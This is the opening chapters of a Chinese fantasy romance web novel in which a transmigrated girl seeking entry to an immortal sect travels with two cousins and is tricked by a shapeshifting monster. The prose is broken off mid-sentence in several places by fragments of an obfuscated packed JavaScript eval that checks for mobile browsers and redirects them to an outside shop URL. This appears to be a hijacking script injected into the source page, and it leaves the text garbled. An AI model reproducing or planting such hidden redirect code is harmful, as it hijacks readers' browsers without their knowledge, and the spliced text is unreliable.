《放弃暗恋偏执男死遁后》 1. 是他吗 “咔嚓!”密林遮天蔽日,静谧无声,一双灰白布鞋踩在枯枝烂叶上,声音格外清晰。 阿凰被自己发出的动静吓得一激灵,盯着四周大气都不敢出,生怕惊扰了林子深处的妖魔。 若不是为了进入仙门修行,她一个平平无奇的穿越女,此时应该在四海为家,而不是冒着生命危险,在这个抬头见不到天空的密林之中找死。 住在她意识里的人非要她来试试,只要拿到魔丹,就能得到天下第一仙门——紫微派的入门资格。 望向黑不见底的林子里,阿凰要求不高地想,要是运气好,进入仙门有稳定的生活,学点仙术强身健体就行了,反正她身子不好。 还在想以她的实力,得到魔丹和活着出去两件事能不能同时进行,她脚下猝不及防一滑,屁股狠狠砸在地上,腰也有断裂的迹象,天旋地转间,她整个人飞快向下滚去。 她努力想抓住一点草或树枝缓冲一下,可是下滑的速度让她什么也抓不住,滚了不知道多少圈后,终于停下来了。 缓好久她才缓过神来,手肘撑地打算起身,因为手掌已经被划破了,火辣辣的疼。 刚抬头,阿凰就听到粗重的呼吸声,像是一头大型野兽在喷气,等她看清面前是什么东西时,浑身寒毛瞬间炸立。 那是一头房子一样大的野兽,浑身长毛覆盖,露出一双绿幽幽的眼睛盯得人浑身发毛,头上还顶着一对水牛角。 一股阴寒之气攀附上背后,阿凰知道这是个魔幻世界,可她哪里见过这阵仗,一时之间愣住。 那头野兽用眼睛盯住她,她这才回了神,手忙脚乱掏出一只玉笛吹起来。 乐声附带了灵力,好似拥有抚平一切的能力,野兽安静下来,连远处的兽鸣也暂时停止。 趁此机会,阿凰一边吹一边后撤,找准时机,求生意识使她迅速做出决定,调头就跑! 那野兽不但个头大,移速也快,每一步踏在地上都像地震,阿凰的行动都被影响了。 “夜月姬,救一下啊!”她在脑海里呼唤附身了自己的人,可是对方毫无反应。 不得已,她只能飞上一棵巨树,野兽停在树下抬头望着她,让她觉得无比诡异。 这东西好像有了人的意识?透过那双眼睛,她觉得它似乎在谋划怎么把她弄下去。 趁着这一瞬的喘息机会,阿凰大口喘气,心口绞痛又缺氧,差点一口气没上来嘎过去,待恢复过来,她内心庆幸,夜月姬附身脑海后教了她一点法术。 还没等她想出对策,树下的野兽忽然用牛角撞击树干,她差点被晃得掉下去,抱住树身才保命,可这棵树也撑不了多久,野兽再撞几下树就倒了。 她看准远处的另一棵树,调整姿势飞身过去,底下的野兽后脚就跟上来,比刚刚还卖力,两三下就把树干撞断,阿凰来不及喘口气又得转移阵地。 一人一兽来回搏斗许久,树都被摧毁了十几棵,阿凰本就修为低身子弱,就快撑不住了,野兽眼看目的达到,瞧准时机,在阿凰转移阵地的瞬间拼尽全力撞上去,她还没抓稳就被迫甩出去,狂风呼呼在耳边刮过。 失去意识前,阿凰只觉得自己命苦。 在此之前,她只是一个女大学生,从小父母双亡寄人篱下,长大后边上学边挣钱养活自己,因为外形条件不错迅速成了舞见唱见双修的小网红。 某天被仇人推下河,醒来她就穿越了,这一世更命苦,别说金手指,连父母都没有,身为孤儿被一家人收养做童养媳,被算命的说以后会成为红颜祸水,养父母嫌晦气赶紧将她送走了。 之后便是被附身的事,从此她脸上就多出一块巨大的紫色胎记,声音也变得沙哑难听,前世那些优点如今仅剩下身材这一点,她反而很乐观,没有自保能力,拥有美貌可是一件很危险的事。 可如今看来,没有美貌也不见得就不危险。 …… “这里有个人!” 不知过了多久,一抹紫色衣角出现在阿凰身边,女子看着受伤昏迷的她发出惊呼,惊讶是因为在此发现一个人,其次就是看到阿凰脸上的紫色胎记,实在太有存在感。 试探出阿凰还有气息,紫衣女子起身招呼同伴道:“表哥,她还活着。” 巨树笼罩的阴影中走出一名男子,面上本就无甚感情,锋利的面部线条使他看起来更为冷淡。 他垂眸看了地上的阿凰一眼,女子猜不透他的想法,询问道:“既然她还活着,先带出去救救她吧?” “出发前我说的话你都忘了?”男子只是淡淡反问,女子便闭嘴了。 “此人修为甚浅,胆敢孤身前来,和自寻死路无异,也算是为自己的无知付出代价,下辈子再长点记性,我们还有更重要的事,莫管旁人。”男子半蹲下来探出阿凰的灵力,说,“来到这里的人都有同一个目的,多一事不如少一事,你想让我多一个对手?” 女子低头,声音变小了:“不是的……对不起,是我莽撞了。” 男子率先转身而去,女子犹豫不去,多看了阿凰两眼,忽然喊道:“等等,表哥,你看。” 她从阿凰腰下拿出被压着的玉笛,说:“这笛子上有微弱的灵力,方才我们听到一阵笛声,那些妖兽随之安静下来,应该就是她吹的。” 男子拿过玉笛沉默不语,女子继续道:“是不是她吹的,等她醒来就知道了,若真是如此,既然有安抚妖兽的能力,我们与之合作岂不是事半功倍?” 他没有说话,便是默许了,女子施展治疗术,不多时阿凰缓缓醒来。 “你没事吧?我们发现你晕倒在这儿,便顺手将你救起来。” 被身边的女子扶起来,阿凰还有点迷糊,看向她道:“是你们救了我?多谢了。” 随后抬头看着一旁沉默的男子,他背光而立,身形挺拔,正处于少年与青年之间的界限,脸上的表情隐在黑暗之中,看不真切,对上他的目光,阿凰一瞬间怔愣住了。 他……他怎么会在这里?他怎么也穿越了? 阿凰忽然想起来什么,迅速低下头去,想掩盖自己脸上巨大的紫色胎记。 太丑陋了,太显眼了,为什么偏偏是这种时候被他看到她这个模样…… “你怎么一个人在这里?你是来取魔丹的吧?” 女子的声音将阿凰的意识拉回,她下意识点头:“是的,我没有同伴,就只能一个人来了。” “不过,你的声音怎么了?”女子以为她嗓子受伤了,问。 不知为何,被附身这么多年,嗓子沙哑难听了这么久,阿凰都没觉得有什么,可是现在,她却因为自己声音难听感到有些尴尬,被人这么一问,她耳朵都热了,下意识偷偷瞥一眼那男子,他没什么反应。 “我……生了一场病之后嗓子就坏掉了。”阿凰声音小了很多。 “原来如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想起来之前的遭遇,阿凰说:“我晕倒前遇到了一头野兽,像房子一样大,浑身长毛,头上长了一对牛角,我被它追逐体力不支最后被撞飞了,它不会找了同伴来追杀我吧……” “难为你还能好好的。”独孤槿又同情地看着她,“放心,表哥很厉害的,你看我们一路无伤走到这里就知道了,再不济我们三个齐心协力总会有办法。” 此时暗处的东西好似发现了他们,脚步声越来越近。 独孤凤渊望向枝头,说:“先上去。” 迎上他们的目光,阿凰道:“我没事,我能自己上去的。” 说着咬牙飞身上树,背后的伤还在隐隐作痛,可是她不想被看出来,不想成为累赘,人家好心拉她当同伴,她不想被抛弃。 独孤槿也飞到了她身边,独孤凤渊看着两个女孩都到达安全位置,最后才轻松飞上来。 三个人观察下方,果真见到两头野兽,阿凰还有些后怕:“就是它,之前袭击我的野兽就长这样,个子这么大跑得可快了。” “这是长鬃青牛兽,一般成群出现,这附近肯定有它的族群,需尽快解决,它们移速快但听力不灵敏,这便是突破点。”独孤凤渊解释道。 他转过头来看着阿凰:“我需要你独自吹曲吸引它们注意,我们会抓住时机出手。” 也就是说,要她当诱饵。 2. 凌霄宗少主 突然被委以重任,阿凰有点迷茫,她连自保的能力都不够,却要吸引怪物注意,只能祈祷自己多坚持一会儿,他们出手快些。 眼看着长鬃青牛兽越来越近,阿凰跳到一块巨石上,大声朝那两头巨兽喊:“喂!笨牛!我在这里!你是不是不服气啊,还敢找同伴来抓我?等我抓住你们片成肥牛火锅,一身皮毛扒下来当被子盖。” 两头巨兽用鼻孔喷气,死死盯着她,后肢在地上扒拉两下便加速冲过来,她扭头便跑,刻意将它们引向某个方向。 希望他们的陷阱布置好了。 带着两头巨兽兜了一个大圈子,阿凰开始体力不支,痛恨自己身体这么虚,好在此时另一边终于发出信号,她便引着巨兽过去。 地势向下凹去,两头巨兽被引入其中,阿凰跃上枝头,掏出玉笛吹奏曲子,两头野兽缓缓被安抚下来。 地上的阵法被激发,发出刺眼的光芒,此时阿凰的曲子也失去了作用。 那两头野兽发现它们被困住,用壮硕的身躯撞击阵法却毫无作用,便四足稳稳扎在地上,深吸一口气,吐出震撼天地的怒吼。 阿凰被吼得耳朵痛,双手堵住耳朵,被巨大的冲击波从树上冲下来。 正当她以为自己又要狠狠摔在地上,脑子里在想用什么姿势落地才能相对不那么痛时,一双手拖住了她的腰身,一丝淡淡的冷香萦绕在鼻尖,连胸膛的温度似乎都比正常的体温还低。 下意识抬头看去,她只看到线条锋利的下巴,一双薄唇紧紧抿着,绣有银丝暗纹的衣领贴合在他脖子上。 阿凰不由得在内心感慨,这身衣服穿在他身上真的很合身。 下一刻她就被独孤凤渊交给独孤槿扶着,他马不停蹄向阵法而去,那两头野兽还在垂死挣扎。 阿凰就看到他手上做了一套动作,花里胡哨的根本看不清,没多久两头巨兽就轰然倒塌,漫天灰尘滚滚。 灰尘散去后,地上只留下两颗乒乓球大小紫色圆球,独孤凤渊摊开手掌,圆球自动飞到他掌心。 “这就……结束了?”阿凰有点不可思议,那巨大的野牛怪差点轻而易举地弄死她,可是独孤凤渊动动手就拿到了它们的魔丹? 一只指骨分明的手掌伸过来,魔丹躺在其上发出淡淡的光芒,独孤凤渊启唇道:“收好吧,这对你来说得而不易。” 阿凰伸手接过魔丹,不小心轻轻碰到了他的手,被烫到了似的迅速拿了魔丹收回手:“谢谢……还好有你们。” 他没什么表示,只说:“此地不宜久留,速速离去吧。” 离开林子,到了外面是完全不同的景色,阿凰深吸一口气,恍若得到了重生。 真是个危机四伏的地方,要不是遇到这两个人,她也许真的会丧命于此。 意识里的夜月姬也太不靠谱了,她遇到危险好几次都没出来指点一番。想来也合理,谁叫那人自己都顾不上呢。 “我们要去紫微派,接下来你有什么打算?还是继续和我们同行?”独孤槿问。 之前邀请阿凰想和她合作是一方面,其次是看她这么弱小的女子孤身一人,她有点感同身受了,在听了阿凰的经历后对她更多出一些同情。 表哥不喜欢她多管闲事,她便想着,好人做到底,大不了平安到了紫微派以后再不管这些闲事就是。 “要是没有你们,我估计已经丧命妖兽之下了,我想和你们一路同行。”阿凰看了看独孤凤渊,鼓起勇气说,“可以吗?” 没想到独孤凤渊只是看了她一眼,说:“你的根骨不适合修仙,即便到了紫微派,也有可能因为没有仙缘不得入门。” 她愣住了,虽然以前就有人说她身体底子差,不适合修仙,能健康长大已是万幸,可被他这么直白地点出,一时还是有点难以消化,甚至生出一种无地自容来。 她有自知之明的,没妄想成仙,只是想着,身体不好就学点保命的本事,多活几年,也没想过要高攀紫微派这么厉害的地方,只是有人告诉她,她必须去。 “表哥,你就不能委婉点……”独孤槿尴尬地扫了一眼阿凰的脸色,压低声音说。 独孤凤渊神色淡然,确实没有讥讽之色:“我没有故意针对谁的意思,只是实话实说。” “凡事没有绝对嘛,万一呢,不试试怎么知道?”独孤槿道。 阿凰低着头,坚持道:“即便没有可能,我也想试试。” “她也有自己的本领,而且修行之路本就艰苦,路上多一个人多一个照应。”独孤槿继续劝说,“表哥你不觉得无聊吗?多一个人聊天解闷多好,我觉得我和阿凰一见如故,就此分开以后就见不到了,就算她进不了紫微派,一路同行的情谊也是值得回忆的,她一个人我也不放心。” “你还关心起别人的安危来了,自己都是个三脚猫功夫。”独孤凤渊终于露出一丝无奈道,“随你们吧,我又没说不可以。” 他率先飞身而去,阿凰紧随着独孤槿升空,两个女孩保持距离跟在他身后,独孤槿悄悄安慰道:“表哥说的话你不必放在心上,他这人说话就这样,我小时候也经常被他气哭,其实他没什么恶意的,你不爱听以后忽视他就是。” “没关系,我不觉得有什么的。”阿凰实话实说。 比起以前的遭遇,独孤凤渊的话对她来说算不得什么,况且他也确实没恶意,心直口快罢了。 相处下来阿凰明白了一件事,第一次见到独孤凤渊,他长得和以前她暗恋了三年的学长一模一样,一瞬间她还以为学长也穿越了,可是现在她很确定,独孤凤渊不是学长,两个人除了长相相似,性格上却是天差地别。 印象里的学长好像没有负面情绪,总是温和待人,才吸引了她默默关注三年。可是独孤凤渊……她不了解这个人,只觉得他好像对任何事物都是淡淡的反应,没什么兴趣,冷漠倒也说不上,否则他也不会救她,不会默许她同行。 虽然都是差不多的年纪,可独孤凤渊总是一副令人看不透的样子。 阿凰和独孤槿修为较弱,无法长途跋涉,前行一段时间就得暂作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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迎着她疑惑的目光,独孤槿继续说:“就是清音门的千金啊,门主夫妇最宠爱的大女儿,顾纯儿,人称妙音仙子,有一口好嗓子,据说是人见人爱,蜜糖一般的女子,清音门主夫妇本就是天人一双,生下的女儿肯定也是仙女。” 阿凰依然满眼懵懂,四海为家这些年,天下之大,她也无法听说远在天边的事。 “我和你说这个干什么,你肯定也没听说过。”独孤槿似乎很可惜,“我也很好奇,那位小师妹到底是何等的美若天仙?” 说得阿凰都有些好奇了,顾纯儿,听起来是一个单纯善良的甜妹。 她无意间看向前方,正好看到独孤凤渊前行的速度慢了一些,还稍微侧过头来看着她们。 他居然对这些话题感兴趣吗?或者说他嫌她们飞得太慢了? 独孤凤渊却若无其事地转回去:“莫要妄议他人,好好赶你们的路。” 听起来好像真的有点不高兴了。 阿凰和独孤槿对视一眼加快了速度。 3. 受伤 落在小镇时离天黑还早,独孤凤渊找了家客栈歇脚。 他倒是可以赶夜路,只是两个女孩修为低弱,夜间寒凉且危险,不差这一时。 订房间时独孤槿挽上阿凰的手臂:“就不必订三间客房了吧,我和阿凰同屋就行,正好一起聊聊天解闷。” 拿到房间钥匙,查看完房间,独孤槿又挽上阿凰的手臂要下楼去:“忙了这么久你饿不饿?” 阿凰摸摸肚子,确实有点饿了,之前一直忙着都忘了。 “表哥可以十天半个月不吃不喝,可是我们不一样,我撑三天就不行了,而且人生在世,有美食不享受岂不可惜?” 被独孤槿带着走下楼梯时,阿凰扭头看了独孤凤渊的房间一眼,房门紧闭着。 这一路一直受他们照料,尤其是独孤槿,同为女子她对自己已经很细心了,所以点菜时阿凰没好意思点,看独孤槿不高兴她才点了几样菜,不料两人的口味十分相似,就连饭后吃甜点的习惯也一样。 独孤槿直呼相见恨晚,拉着阿凰出门玩,回客栈前买了文房四宝。 看她在案上作画,阿凰跃跃欲试,她惊奇:“你也会作画吗?” “这些年四处游历,我有时也会画点东西解闷。” 其实她有许多小爱好,只是没什么资金培养,东学一点西学一点,艺术这些东西,就是看自己的审美玩的。 独孤槿便让出位置:“正好我在犹豫这块画点什么,你试试。” 待阿凰停下手,独孤槿拿起她作的画,连连赞叹:“青绿山水,松石飞鹤,完全就是我喜欢的样子!” 直到夜里躺下来,独孤槿还在疑惑:“你真的只是乡野姑娘吗?我看你既通音律,作画也不输名家,通身的涵养可不像一般人。” “尤其这肌肤,白嫩得跟什么似的。”她轻轻一捏阿凰的手臂,立刻留下一个红印子,“倒像娇生惯养的千金小姐,这一头乌黑茂密的头发,这么柔顺这么直,真的没有保养过吗?” 阿凰摇摇头。从小到大被人家夸这些,她早就习惯了,以前有人调侃过她是黑长直,可以当日漫女主了。 她倒希望自己是什么落魄千金,但很可惜,她就是一个普通人。 两人躺在一张床上,独孤槿侧躺着看她惋惜道:“你的嗓子我没办法,不过你的脸……我听说有一种药可以去除人身上的胎记,紫微派乃天下第一大派,到时候兴许有法子?” “一切随缘吧。”阿凰只说。 她很清楚,自己的脸和声音不是靠外力就能恢复的。 聊了大半夜,独孤槿好像因为这些日子跟着独孤凤渊闷了太久,好不容易找到一个人能放开了聊,话题滔滔不绝。 至少这一路上的经历让阿凰觉得独孤槿是自己的好姐妹了,时而偷偷聊到独孤凤渊,时而分享心事和共同爱好,一个晚上,只要志同道合能聊的东西就很多,女孩子的友谊就是这么简单。 阿凰没能高兴太久,因为第二天醒来她发现独孤槿不见了,而她自己也睡过头了。 出房门一看,独孤凤渊已经衣冠整齐地等候着,阿凰有点心虚:“你有看到阿槿吗?” 短短的时间内,阿凰和独孤槿就已经姐妹相称,互唤小名了。 他眉头一挑:“你们一整晚在一起,倒来问我?” 说罢也顾不得别的,径直进了房间,查看一番一无所获,他原地沉默不知道在想什么。 阿凰的心噗通直跳,手心微微沁出汗,不知为何,此刻在他面前她就是心虚了,明明自己什么也没做。 大概是因为,他的表妹跟她在一个房间,同吃同住一整晚,形同姐妹,可是她却把他表妹弄丢了。 人影一动带起一阵风,阿凰回过神时独孤凤渊已经出门去,她赶紧跟上。 不知跑了多远,中途好几次阿凰差点跟丢了,独孤凤渊突然停下,施展起她看不懂的手势。 “你不用跟来。”话音刚落独孤凤渊就自己跑向另一边。 阿凰原地站了一会儿,好像站在没有指示牌的十字路口迷失了方向,觉得回去也不知道干嘛,她心中存着愧疚,心想哪怕找到一丝线索也好。 他说的话明明平平无奇,她却像被指责了一样,很慌乱,脑子里一团乱麻。 无头苍蝇般到处乱找了很久,累得口干舌燥了,她都不想回去。 “救……救我……” 耳边捕捉到微弱的声音,阿凰眼前一亮,循着声音来源跑过去。 独孤槿倒在泥土里,头发乱糟糟的,衣服也被划破了几处,伤口往外渗透着血丝,像是刚经历了一场打斗。 “你怎么了!”阿凰冲过去要把她扶起来,她却发出惨叫。 “别动!我的腿!” 她的左腿一动不动,似乎碰一下就能要了她的命。 “那怎么办?” “你去附近找找看,有没有树枝和藤条。” 阿凰照做,在独孤槿的指挥下给她左腿做了简单的处理,扛着她艰难地往回走。 刚刚忙着,阿凰现在终于有空问了:“发生了什么?谁伤的你?” “我醒来就在一个山洞里,有个丑陋的妖怪盯着我流口水,说要我做它娘子,我好不容易打晕它跑出来,不小心把腿摔伤了。”独孤槿带着哭腔说,阿凰赶忙安慰她。 走了一段路,看阿凰走得费劲,独孤槿说:“要不你先别管我了,把我放下来,回去找表哥来接我吧,我在这儿等着。” 听了她的经历阿凰还怎么放心扔下她一个人,况且她还受了这么重的伤,便说:“我不放心你自己留下,我还有力气的,我一定带你回去。” “你真好!” 远处落下来一道身影,抬头一看是独孤凤渊,阿凰顿时感觉身上都轻了。 她还没开口喊,独孤凤渊就看到了她们。 “怎么伤成这样?”一落地,独孤凤渊便要查看独孤槿的伤,可她却浑身一激灵躲起来。 “我的腿好痛……”独孤槿低着头。 阿凰简单扼要交代了事情经过,独孤凤渊却很平静,冷冷盯着独孤槿:“你腿痛缩手做什么?” 独孤槿瑟缩得更厉害了,事到如今他还是这个态度,阿凰心里有点不高兴,同情起独孤槿来,他对她这个外人不爽也就算了,怎么对一路陪着自己的表妹也这样? “她都伤成这样了,你能不能先别凶她?”虽然心里不高兴,阿凰也只敢用请求的语气说。 独孤凤渊眼神一扫过来,阿凰只能低头不看他。 明明她们都没做错什么,他干嘛这个气势。 “你那么可怜她,就由你自己照顾她吧。” 阿凰搞不懂了,他突然犯什么病? “有什么事能不能先让她治好伤再说……”阿凰还在试图讲道理。 独孤凤渊却冷笑一声,这是阿凰第一次见到他笑,没想到是在这个情形中,这种笑。 “哦?你真想救她?” 这话说得阿凰更莫名其妙了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有这种药草,你和我说就是了啊!”阿凰惊喜道,“寻常人没有仙法傍身,我还是可以前去一探的,你的腿有救了。” 独孤槿却抗拒道:“你已经为我辛苦很多了,我不想你再孤身犯险。” “友谊是互相付出的,你对我好,我也想对你好。”阿凰注视着她,眸中的诚恳如宝石明亮,刺目令人不敢直视,“你的腿总不能不治吧?我们还要赶路去紫微派,独孤凤渊等急了会不会扔下我们……对,我去求他救你!” 独孤槿拉住她的手:“别去!我怕表哥嫌我麻烦把我赶回去……” 她没法子了,眼看着独孤槿抓着腿,伤口又在作痛,她心中毅然决定,天一亮就找店小二问路出发。 次日独孤槿醒来,原本阿凰躺着的位置早就收拾整齐空无一人。 有人在敲门,她用虚弱的声音说:“门没锁,请进吧。” 推门而入的是独孤凤渊,他的视线在屋内一扫,眉头微皱:“她人呢?” “你说阿凰?她去给我采药了。” “采什么药?去哪里采药?” “这我就不知道了,你自己去找啊,表哥。”独孤槿向后懒懒一靠。 “别叫我表哥,恶心。” 独孤槿闷声笑着:“没想到你更关心一个刚认识的女人,连你表妹都不管了?那么无情地要抛弃我,太令人寒心了。” 独孤凤渊似乎失去了耐心,径直走到床前,居高临下看着她:“真正的独孤槿在哪?阿凰被你骗到什么地方去了?” “这就看出来了?好没意思。” “拙劣的手段。”独孤凤渊伸手掐住假独孤槿的脖子,“我以为你会聪明点,等到获取信任再出手,没想到这就耐不住性子?最后再问你,她们在哪?” 假独孤槿挣扎着吸气:“有本事你就杀了我,这样你就一个都见不到。” “真有骨气,既然你这么不怕死,就让你给她们陪葬吧。” 4. 他的怀抱 跟着店小二指出的路线一路前行许久,在阿凰感觉体力要耗尽的时候,终于看到远处有一颗发光的树。 回忆起在客栈里和店小二对话的场景,阿凰有点疑惑,他既然没来过这里采药,又是怎么知道得那么清楚呢?而且那时候店小二神情看起来有点怪怪的。 不管了,来都来了,先把药采回去再说。 刚落地,阿凰就感觉哪里不太对劲,心里涌上不详的预感,她只能小心翼翼地走到那棵树下,按照记忆中的样子低头寻找药草,可是找了半天,哪有什么药草? 正当她直起身,想休息一下再继续找,此时脚底下的泥土好像松了一块,她低头看去,脚下的土地以肉眼可见的速度迅速皲裂,以她为中心向四周蔓延开,漫天灰尘滚动,幸好她飞到树上,否则后果不堪设想。 往树下看去时,底下已经彻底坍塌,形成一个空洞,深不见底。 难怪说一般人来不了这里,确实危机四伏。 望着坍塌的一片废墟,阿凰心中涌上一阵疲惫。 来不及思考,她鼻尖嗅到一股奇特的香味,越发浓郁,很快她整个人就昏昏沉沉的,脱力从树枝上掉下去。 身子感受到明显的一顿,她被数条藤蔓缠住,还有藤蔓源源不断地从树上爬过来,紧紧缠绕在她身上,缠得她快呼吸不上来。 而那股气味还充斥在她鼻腔里,越来越浓,越闻越晕,她怀疑今天真的要寄了,不是被晕死就是被藤蔓绞死的。 怎么活了两世都是短命鬼啊…… 意识越来越模糊,阿凰却一点害怕的情绪都没有,好像是香味的魔力,让人连恐惧都忘了,心甘情愿地死在其中…… 一道男子的身影落在远处,狂风呼啸着掠过他身边,衣袂翩翩飞,衬得他身形越发高挑精瘦。 他拧眉看一眼地上巨大的空洞,抬头望向那棵树,看见了被藤蔓吊着的阿凰,飞身过去,半途却被一股力量挡回来。 独孤凤渊扔出一个收妖宝囊,一个黑影被丢出来,佝偻着身子跪在地上,颤颤巍巍的,竟是之前伪装成独孤槿的怪物,此时原形毕露,丑陋无比。 “解去阵法。”独孤凤渊命令道。 怪物抬头看向那棵树,一开口竟分不清是男女老少的声音:“我只是设计了陷阱引她进去,阵法是这里本来就有的,我无力解开……” 说完话没听到声音,怪物疑惑抬头,却看到独孤凤渊抬起右手,张开手掌,一团蓝色火焰在他掌心燃烧,怪物顿时惊恐万分,连连后退,却已经无处可去。 又是这恐怖的火焰! 之前它还能嘴硬,想着拼死一搏,反正也被抓住了,可它还是太低估了这个人,不仅能力完全远远超出它的意料,心理素质也远超常人,仅仅被他用这火焰烧过一遍,它就承受不住折磨赶紧招了。 怪物的反应让独孤凤渊很满意,他兀的笑了,笑得怪物毛骨悚然,跪地求饶。 他没有折磨人的癖好,只是喜欢看到不自量力的跳梁小丑得意洋洋后,被击破心理防线崩溃的样子。 这怪物哪里知道,他手里的这团火焰乃是取自凌霄宗独有的极寒禁地,以地心千年玄冰炼制而成,名为极寒玄火,任何妖兽都无法承受,所以许多外界的人都对凌霄宗虎视眈眈。 而他又是极罕见的纯阳之体,正好驾驭极寒玄火,若没有体内的纯阳之气,强行吸收极寒玄火只会被反噬。 怪物的声音吵得独孤凤渊心生烦躁,他一挥手,极寒玄火飞出掌心落在怪物身上,一瞬间就燃起熊熊大火,把怪物整个身躯吞噬在蓝色火焰之中,惨叫声不绝于耳。 既然这怪物没了作用,除去就是。 独孤凤渊重新看向阿凰的方向,观察那阵法片刻,专心施展起术法来。 半柱香的功夫过去,阵法终于彻底消散,独孤凤渊飞身上前,抬手一挥,缠在阿凰身上的藤蔓尽数被砍断,她从树上掉下来。 独孤凤渊伸出双臂轻松接住她,心里莫名冒出一瞬的疑惑:怎么这么轻? 然而下一刻,他神色凝重起来,怀里的少女竟然无一丝体温,整个人像一块天然的冰块,自发的往外散发出一阵阵寒气。 用手触碰阿凰露在外面的肌肤,刚一触及他的手就被冻得撤回去,她身上也留下红印,他疑惑,难道女子的身体就这么容易留下印记? 这才片刻之间,阿凰身上冒出来的寒气就冻得人受不了,独孤凤渊准备把她放在地上,却身上一紧,她紧紧抱住了他,昏迷中的她下意识寻找温暖的源头,还一个劲往他怀里钻。 他甚至能闻到她身上淡淡的药草清香,说不出是什么药的气味,只觉得不刺鼻,很耐闻。 僵住片刻,他只用了点力气就把少女从怀里摘出去,放在地上,施展术法尝试为她去除寒气。 尝试几遍效果微弱,随着时间的推移,阿凰身上的寒霜越来越多,有要把身体冻起来的迹象,独孤凤渊怀疑再拖下去她就要变成冰块了。 这时他明白了那只怪物为何盯上阿凰,它说阿凰体质特殊,原来是这个样子的特殊。 他猜测阿凰的症状并非阵法导致,而是她本就体质特殊,阵法只是诱发了她的症状。 思及此,独孤凤渊改变思路,用另一种方法救治。 他本就是纯阳之体,向阿凰体内输送纯阳之气去除寒气即可。 “阿凰,醒醒。” 意识模糊间,阿凰听到有人在呼唤,那声音一会儿像独孤凤渊,一会儿又像夜月姬。 慢慢的,她的意识开始一点点恢复。 “小丫头,还不打算醒来吗?” 这下听清楚了,是夜月姬的声音,阿凰抱怨道:“你还好意思说,早干嘛去了?好几次我差点就死了,你也不出来救一下,我死了你难道就好过吗?” “你也知道咱家条件不好,这不是能量不够嘛,有时候我也被迫陷入沉睡,等你进了紫微派,那里灵力充沛,我也能跟着恢复一些。”夜月姬语气一派慵懒,这时候她还有心情说胡话,自从她住在阿凰的意识中,共享了一些记忆,就学了一堆有的没的。 “那你现在这是?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126048|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你没发现你晕过去了吗?” 经她一提醒,阿凰想起之前发生的事。 “快醒来吧,再晚点你的身体就冻坏了。”夜月姬说着打了个哈欠,“我又没能量了,先关机了……” 随着夜月姬声音散去,阿凰眼前一点点亮起来,最后光线变得很刺眼,睁开眼的瞬间她下意识用手遮光。 “醒了?” 平淡的语气从头上传来,阿凰慢慢睁开眼,适应了光线,才看到独孤凤渊盘坐在身侧。 知道是他救了自己,阿凰一边道谢一边站起来:“我没事了,谢谢,我们先回去吧,阿槿她……” 又被他救了一次,不知道他会不会嫌她麻烦。 刚站起来,一阵眩晕袭来,她整个人不受控制地倒下,又失去意识了。 独孤凤渊看着地上昏死的少女,有点无奈,把她抱起来往回走。 硬撑什么呢?明明那么脆弱。 不知过了多久,阿凰听到耳边有风呼呼吹过,意识到自己醒来了。 缓缓睁眼,她发现自己被独孤凤渊抱在怀里,正在往回赶。 她迅速闭上眼,心脏扑通扑通乱跳,明明风声很大,心跳声却那么清晰,她像是做贼心虚,怕那么大的心跳声被听到。 他应该……没发现她醒了吧? 独孤凤渊似乎没发现什么,只是直视前方飞行赶路。 她只是太累了,身上的伤还没好,与其自己赶回去慢吞吞的,还不如搭个顺风车,就一次…… 此刻阿凰感到无比轻松,暗自松了一口气,控制不住想笑出来。 好奇怪,四肢酥酥软软的,使不上力气了,有一股令她喜悦的气息堵在心口,又涌向全身。 他的衣服好柔软啊,宗门少主穿的跟别人就是不一样。 直到回到小镇,阿凰才假装悠悠醒来,自己下地走路。 亲眼看到独孤槿平安无事的那一刻,她才彻底放心。 看到她气血不太好,独孤槿关切道:“发生了什么事?你有没有受伤?” 听完她概括,独孤槿道:“我一醒来就在镇子外的山洞里,表哥找到了我,把我送回来又走了,原来发生了这样的事,好狡猾的怪物。” 阿凰茫然地想,要是独孤凤渊来得再晚一些,她会不会就死了? “那怪物盯上阿凰,是因为她体质特殊,想抓走分离灵魂与躯体,加之炼化,做成新的躯体供它使用。”独孤凤渊解释道。 各自对了下信息,阿凰面上发烫,后知后觉之前的自己多无知,那怪物的伪装漏洞百出,她居然轻信了,还误会了独孤凤渊。 说不定见到怪物的第一眼,他就识破了它的伪装,怪不得表现得那么异常。 “对不起,之前是我误会了你……”阿凰说着,感觉耳朵都热了,“也再次感谢你救了我。” 独孤凤渊没什么表示,依然是淡淡的态度,好像被她误会了也无所谓,对于她的道歉也不在乎。 “我们在这里已经浪费了太多时间,抓紧上路吧。” 5. 团宠 几番日月轮替后,三人进入一处地界,阿凰明显感觉到这里比别处繁华。 “进入紫微派的地界了,注意自己的言行举止。”独孤凤渊提醒道。 远远望去,阿凰能看见下方隐在云雾里的建筑群,一眼望去金色的屋顶金碧辉煌,好像有光芒万丈从那边照射而来,一派豪气,光是看着就很震撼了。 